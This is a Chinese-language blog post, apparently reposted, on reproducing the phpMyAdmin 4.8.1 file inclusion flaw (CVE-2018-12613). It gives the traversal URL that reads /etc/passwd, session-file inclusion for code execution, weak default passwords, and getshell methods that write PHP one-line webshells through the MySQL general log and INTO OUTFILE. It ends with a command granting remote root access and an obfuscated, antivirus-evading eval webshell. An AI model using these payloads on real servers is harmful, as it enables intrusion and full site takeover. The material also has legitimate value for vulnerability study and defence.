18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 遠(yuǎn)程文件包含漏洞(CVE-2018-12613)
phpMyAdmin是一套開源的、基于Web的MySQL數(shù)據(jù)庫管理工具。其index.php中存在一處文件包含邏輯,
通過二次編碼即可繞過檢查,造成遠(yuǎn)程文件包含漏洞。
受影響版本:
phpMyAdmin 4.8.0和4.8.1受到影響。
漏洞復(fù)現(xiàn):
本次實(shí)驗(yàn)環(huán)境基于docker搭建,啟動(dòng)環(huán)境,使用一波phpmyadmin的弱口令,像
root/root,root/123456,root/toor....登進(jìn)后臺
不得不說phpmyadmin自從2.x版本有個(gè)前臺登陸繞過后,到現(xiàn)在前臺還沒出現(xiàn)過其他的漏洞,
希望廣大伙伴多多挖掘呀!!
使用弱口令 test/test ,成功登陸phpmyadmin后臺:
訪問 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,
可見/etc/passwd被讀取,說明文件包含漏洞存在:
利用方式也比較簡單,可以執(zhí)行一下 ?SELECT '<?php phpinfo()?>'; ,然后查看自己的sessionid(cookie中phpMyAdmin的值):
這樣對應(yīng)的SESSION文件為 /tmp/sess_sessionid
然后在網(wǎng)址中包含session文件即可:
可以看到順利執(zhí)行了phpinfo();
可想而知如果我們select一個(gè)php一句話木馬,用菜刀連接,整站就可以被我們控制。
.......
實(shí)戰(zhàn)演練:
到phpmyadmin后臺后,getshell方法還很多,比如利用改變寫入的日志的路徑,寫入我們的一句話木馬,
首先呢,介紹兩個(gè)MySQL全局變量(general_log、general_log file)
- ??? general log 指的是日志保存狀態(tài),一共有兩個(gè)值(ON/OFF)ON代表開啟 OFF代表關(guān)閉。
- ??? general log file 指的是日志的保存路徑
mysql 5.0版本以上會創(chuàng)建日志文件,修改日志的全局變量,也可以getshell。但是也要對生成的日志有可讀可寫的權(quán)限。
查看日志狀態(tài):
SHOW VARIABLES LIKE 'general%';當(dāng) general_log=ON 時(shí),所執(zhí)行的sql語句都會出現(xiàn)在 /var/lib/mysql/1e164993aaf5.log 文件
那么,如果把 general_log_file 的路徑修改為 /var/lib/mysql/1.php,那么所執(zhí)行的sql語句就會保存在
1.php中,如果我們執(zhí)行一個(gè)php小馬,就可以getshell:
SET GLOBAL general_log='on' SET GLOBAL general_log_file='D:/wwwroot/1.php'如果輸入不存在的路徑時(shí):
或許我們可以利用這個(gè)來探測目錄結(jié)構(gòu),如果路徑正確的話
這樣的話在相應(yīng)的目錄下就會生成一個(gè)1.php,由于我們是實(shí)戰(zhàn),所以無法截圖...
再次查看日志的狀態(tài):
OK!!!滿足要求!
將一句話木馬寫入1.php文件,既然是日志文件,我們select查詢自然也會被保存在日志里面:
我們構(gòu)造 :select '<?php phpinfo();?>'
這時(shí)候相當(dāng)于我們把 <?php phpinfo();?> 寫入到日志 1.php中,我們嘗試訪問
日志文件:1.php
成功getshell!!!
-------------------------------------------------------
還有一種方法就是一句話木馬的寫入:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';當(dāng)然,前提是你得知道網(wǎng)站的絕對路徑,方法也有很多,比如通過報(bào)錯(cuò)獲取路徑,通過phpinfo.php等等
但在新版的mysql中,這句話并沒有運(yùn)行成功,應(yīng)為mysql新特性secure_file_priv會對讀寫文件產(chǎn)生影響,
該參數(shù)用來限制導(dǎo)入導(dǎo)出,可以查看該參數(shù):
當(dāng)secure_file_priv為NULL時(shí),表示限制mysql不允許導(dǎo)入導(dǎo)出。所以爆出錯(cuò)誤
要想使得該語句導(dǎo)出成功,則需要在mysql文件夾下修改my.ini 文件,
在[mysqld]內(nèi)加入secure_file_priv ="" 即可
當(dāng)secure_file_priv的值沒有具體值時(shí),表示不對mysqld 的導(dǎo)入|導(dǎo)出做限制
此時(shí)就可以執(zhí)行導(dǎo)出命令,這里不再復(fù)現(xiàn)
?
附一個(gè)數(shù)據(jù)庫開啟外鏈的命令:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密碼' WITH GRANT OPTION; 附一個(gè)SQL查詢免殺shell的語句SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['bmjoker']));?>"
?
?
轉(zhuǎn)載于:https://www.cnblogs.com/bmjoker/p/9897436.html
總結(jié)
以上是生活随笔為你收集整理的18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 学习程序开发的方法,仅供参考吧
- 下一篇: Win10更换壁纸一直跳到纯色背景问题解